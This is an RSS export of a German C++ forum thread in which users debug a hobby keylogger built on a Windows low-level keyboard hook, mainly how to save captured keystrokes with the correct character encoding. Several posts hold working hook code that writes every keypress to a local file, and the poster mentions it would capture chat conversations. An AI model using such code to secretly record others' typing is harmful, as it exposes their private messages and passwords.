<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Charset bei Keyboardhook]]></title><description><![CDATA[<p>Hallo zusammen</p>
<p>Ich habe mir ein kleines Programm geschrieben, das sämtliche eingaben loggt (Keylogger). Da ich von der Hookfunktion gebrauch mache, krieg ich natürlich den vkCode zurück was ja auch schön und gut ist aber sobald ich es zu char konvertiere und es in eine Datei schreibe ist alles ausserhalb a-z Zeichensalat.</p>
<p>Wie krieg ich es also hin, dass die eingegebenen Tasten als utf-8 gespeichert werden?</p>
<p>Grüsse,<br />
bleed_ch</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/230358/charset-bei-keyboardhook</link><generator>RSS for Node</generator><lastBuildDate>Thu, 09 Apr 2026 23:26:24 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/230358.rss" rel="self" type="application/rss+xml"/><pubDate>Thu, 25 Dec 2008 08:25:20 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Charset bei Keyboardhook on Thu, 25 Dec 2008 08:25:20 GMT]]></title><description><![CDATA[<p>Hallo zusammen</p>
<p>Ich habe mir ein kleines Programm geschrieben, das sämtliche eingaben loggt (Keylogger). Da ich von der Hookfunktion gebrauch mache, krieg ich natürlich den vkCode zurück was ja auch schön und gut ist aber sobald ich es zu char konvertiere und es in eine Datei schreibe ist alles ausserhalb a-z Zeichensalat.</p>
<p>Wie krieg ich es also hin, dass die eingegebenen Tasten als utf-8 gespeichert werden?</p>
<p>Grüsse,<br />
bleed_ch</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1635196</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1635196</guid><dc:creator><![CDATA[bleed_ch]]></dc:creator><pubDate>Thu, 25 Dec 2008 08:25:20 GMT</pubDate></item><item><title><![CDATA[Reply to Charset bei Keyboardhook on Thu, 25 Dec 2008 09:22:07 GMT]]></title><description><![CDATA[<p>wenn du ein low-level keyboradhook nimmst (WH_KEYBOARD_LL) was ich dir auch empfehlen kann, bekommst du die daten in LPARAM und WPARAM übergeben.</p>
<p>allerdings nur wenn der code == HC_ACTION ist.</p>
<pre><code class="language-cpp">LRESULT __stdcall HookProc(int code, WPARAM wParam, LPARAM lParam)
{
    if (code == HC_ACTION)
    {
        KBDLLHOOKSTRUCT *ptr = reinterpret_cast&lt;KBDLLHOOKSTRUCT *&gt;(lParam);
        ptr-&gt;vkCode; // entspricht dem buchstaben
        ptr-&gt;wParam; // entspricht WM_KEYDOWN oder WM_KEYUP
    }
    return CallNextHookEx(hook, code, wParam, lParam);
    // wenn man diese funktion nicht aufruft und 1 zurückgibt, wird die taste
    // systemweit ignoriert
}
</code></pre>
<p>der hook muss allerdings um alle tasteneingaben zu bekommen in einer DLL<br />
ausgelagert sein. meistens wird man in dem if-block<br />
ein</p>
<pre><code class="language-cpp">SendMessage(hWnd, WM_USER+wert, wParam, lParam);
</code></pre>
<p>schreiben damit die DLL flexibel beibt<br />
hWnd musst du dir über eine export-funktion holen, wert ist eine<br />
selbstdefinierbare konstante damit du die nachricht auch bekommst</p>
<p>hoffe alles gut erklärt zu haben</p>
<p>MfG helferlein</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1635203</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1635203</guid><dc:creator><![CDATA[helferlein]]></dc:creator><pubDate>Thu, 25 Dec 2008 09:22:07 GMT</pubDate></item><item><title><![CDATA[Reply to Charset bei Keyboardhook on Thu, 25 Dec 2008 09:46:25 GMT]]></title><description><![CDATA[<p>Hallo helferlein</p>
<p>Herzlichen Dank für deine Antwort. Vieles was du beschrieben hast, habe ich bereits implementiert:</p>
<pre><code class="language-cpp">#include &lt;fstream&gt;
#include &lt;windows.h&gt;

using namespace std;

void WriteIntoFile(int vkCode)
{
     ofstream fout(&quot;D:\\test\\test.txt&quot;, ios_base::app);
     // overkill bei jedem tastendruck ein filestream zu öffnen?
     switch (vkCode) {
            case VK_RETURN:
                 fout &lt;&lt; '\n';
                 break;
            case VK_SPACE:
                 fout &lt;&lt; ' ';
                 break;
                 /*
                 an dieser stelle hör ich auf ... es gibt einfach zuviele?
                 am besten wär, wenn es 1:1 mit dem korrekten charset übernommen werden könnte
                 */
            default:
                    fout &lt;&lt; char(tolower(vkCode));
     }
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
        if (wParam == WM_KEYDOWN) {
                   PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) lParam;
                   WriteIntoFile(p-&gt;vkCode);
        }
        return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    HHOOK LowLevelKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
    MessageBox(NULL, &quot;Press OK to stop logging.&quot;, &quot;Information&quot;, MB_OK);
    return 0;
}
</code></pre>
<p>Ich will ja lediglich die Codes die ich bekomme in korrekter utf-8 kodierung speichern - char() ist dafür selbsterklärend unzureichend. Dein Vorschlag beschreibt ja wie ich im Grundsatz den Keylogger zu realisieren habe aber es hapert bei mir nur noch an dem Punkt.</p>
<p>Das ganze soll sich später in der Klasse Keylogger wiederfinden darum: ist es möglich die nativen WinAPI funktionen dort zu verwenden? Ich hab normalerweise kein Problem mit C++ aber bei dieser WinAPI blick ich manchmal nicht durch[...]</p>
<p>Grüsse,<br />
bleed_ch</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1635209</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1635209</guid><dc:creator><![CDATA[bleed_ch]]></dc:creator><pubDate>Thu, 25 Dec 2008 09:46:25 GMT</pubDate></item><item><title><![CDATA[Reply to Charset bei Keyboardhook on Thu, 25 Dec 2008 09:59:24 GMT]]></title><description><![CDATA[<p>also zu begin <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /><br />
da fehlt mir ein</p>
<pre><code class="language-cpp">UnhookWindowsHookEx(hook);
</code></pre>
<p>am ende von WinMain</p>
<p>so jetzt von oben nach unten:</p>
<p>overkill ist das eigentlich nicht, da du nur ein zeichen reinschreibst.<br />
das öffnen setzt zwar eine stl-klasse in bewegung was durchaus viel sein<br />
kann aber eigentlich bekommst du ja nur ein handle und das system merkt<br />
sich: die datei ist offen. außerdem puffert die klasse, das system und<br />
der festplattentreiber eh alles. das fällt kaum bis garnicht ins gewicht.</p>
<p>ich zitiere kurz meine WinUser.h</p>
<p>Meine WinUser.h schrieb:</p>
<blockquote>
<pre><code class="language-cpp">#define VK_RETURN         0x0D // das ist \n = \13
...
#define VK_SPACE          0x20 // das ist ' ' = 32
</code></pre>
</blockquote>
<p>diese zwei kannst du einfach so lassen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /><br />
bei [alt] oder [strg] wirds ein bissel schwieriger</p>
<p>[tipp]<br />
mein hook verwendet [STRG] wenn man die taste drückt und [/STRG] wenn man<br />
sie wieder loslässt. buchstaben bekommen auch ne klammer [A] damit man<br />
genau sieht in welcher reihenfolge was gedrückt worden ist.<br />
[/tipp]</p>
<p>das kannst du ohne probleme in eine klasse packen.<br />
ein #include &lt;windows.h&gt; im klassenheader und die teile sind an bord :xmas1:</p>
<p>noch fragen? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1635211</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1635211</guid><dc:creator><![CDATA[helfelrein]]></dc:creator><pubDate>Thu, 25 Dec 2008 09:59:24 GMT</pubDate></item><item><title><![CDATA[Reply to Charset bei Keyboardhook on Thu, 25 Dec 2008 10:30:04 GMT]]></title><description><![CDATA[<p>Hallo helferlein</p>
<p>Herzlichen Dank. Also entweder ich verstehe dich nicht oder wir reden aneinander vorbei. Deine Korrekturen hab ich aber übernommen:</p>
<pre><code class="language-cpp">#include &lt;fstream&gt;
#include &lt;windows.h&gt;

using namespace std;

void WriteIntoFile(int vkCode)
{
     ofstream fout(&quot;D:\\test\\test.txt&quot;, ios_base::app);
     fout &lt;&lt; char(tolower(vkCode));
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
        if (wParam == WM_KEYDOWN) {
                   PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) lParam;
                   WriteIntoFile(p-&gt;vkCode);
        }
        return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    HHOOK LowLevelKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
    MessageBox(NULL, &quot;Press OK to stop logging.&quot;, &quot;Information&quot;, MB_OK);
    UnhookWindowsHookEx(LowLevelKeyboardHook);
    return 0;
}
</code></pre>
<p>Wenn ich das jetz so ungefiltert in eine Datei schreibe erhalte ich wenn ich auf Google gehe und &quot;yay&quot; eingebe folgendes:</p>
<p>google¾de¡yay</p>
<p>Ziemlich karp0tt, oder? Geöffnet hab ich die Datei mit dem Texteditor.</p>
<p>Ansonsten find ich dein Vorschlag interessant und präzise aber unleserlich: man stelle sich vor ich hielte eine Unterhaltung über einen Instant Messenger ab</p>
<p>[A][/A][L][/L][O][/O] [F][/F][R][/R][A][/A][N][/N][Z][/Z] [W][/W]&amp;; [G][/G]&amp;; &amp;; [D][/D][R][/R]</p>
<p>statt</p>
<p>hallo franz wie geht es dir</p>
<p>Grüsse,<br />
bleed_ch</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1635216</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1635216</guid><dc:creator><![CDATA[bleed_ch]]></dc:creator><pubDate>Thu, 25 Dec 2008 10:30:04 GMT</pubDate></item><item><title><![CDATA[Reply to Charset bei Keyboardhook on Thu, 25 Dec 2008 10:33:07 GMT]]></title><description><![CDATA[<p>Wie unaufmerksam von mir... es gibt ja noch BBCodes. <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1635218</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1635218</guid><dc:creator><![CDATA[bleed_ch]]></dc:creator><pubDate>Thu, 25 Dec 2008 10:33:07 GMT</pubDate></item><item><title><![CDATA[Reply to Charset bei Keyboardhook on Thu, 25 Dec 2008 10:43:25 GMT]]></title><description><![CDATA[<p>über lesbarkeit kann man streiten <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
<p>der vorteil ist bei der methode dass man tastenkombinationen mit<br />
strg oder alt bekommt, und wenn man das log liest kann man einfach<br />
die tasen so drücken oder loslassen wie es drinsteht.</p>
<p>nachteil ist halt die lesbarkeit oder z.b. keyrepeat nachrichten die nicht<br />
erkannt werden</p>
<p>bleed_ch schrieb:</p>
<blockquote>
<p>google¾de¡yay</p>
</blockquote>
<p>immerhin ist google leserlich <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /><br />
das ¾ kann ich mir nicht erklären... der punkt wird vllt ne eigene nachricht haben<br />
das zeichen da kenne ich auch als \n unter windows wird gerne \r\n verwendet,<br />
vielleicht funktioniert es ja so</p>
<p>warum verschwindet das &lt;H&gt;&lt;/H&gt;</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1635222</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1635222</guid><dc:creator><![CDATA[helferlein]]></dc:creator><pubDate>Thu, 25 Dec 2008 10:43:25 GMT</pubDate></item><item><title><![CDATA[Reply to Charset bei Keyboardhook on Thu, 25 Dec 2008 10:56:10 GMT]]></title><description><![CDATA[<p>Das Problem tritt ja noch bei ganz anderen Zeichen auf. Eben alles was ausserhalb von a-z ist.</p>
<p>Ich vermute mal, dass das ganze in einem anderen Charset gespeichert als danach gelesen wird.</p>
<p>Und bei den BBCodes ist das &quot;h&quot;, &quot;i und das &quot;e&quot; verschwunden und ein paar komische &amp; hinzugekommen... sachen gibt's.</p>
<p>Gibt es ne Möglichkeit char-Zeichenketten in ein bestimmtes Charset umzuwandeln?</p>
<p>Grüsse,<br />
bleed_ch</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1635223</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1635223</guid><dc:creator><![CDATA[bleed_ch]]></dc:creator><pubDate>Thu, 25 Dec 2008 10:56:10 GMT</pubDate></item><item><title><![CDATA[Reply to Charset bei Keyboardhook on Fri, 26 Dec 2008 12:29:06 GMT]]></title><description><![CDATA[<p>So, ich habe es jetzt. Die Funktion die ich voraussichtlich benötige heisst ToUnicodeEx() -&gt; das wird mir die Zeichen in utf-8 unter Berücksichtigung des Tastaturlayouts (Spracheinstellungen) zurückgeben. Leider ist die WinAPI nativ so ziemlich unverständlich drum hab ich mir den Petzold bestellt.</p>
<p>Wäre froh wenn vielleicht jemand die Güte hätte mir ein kleines Beispiel von ToUnicodeEx() zu zeigen damit ich mindestens bis Montag was zu tun habe.</p>
<p>Herzlichen Dank.</p>
<p>Grüsse,<br />
bleed_ch</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1635742</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1635742</guid><dc:creator><![CDATA[bleed_ch]]></dc:creator><pubDate>Fri, 26 Dec 2008 12:29:06 GMT</pubDate></item></channel></rss>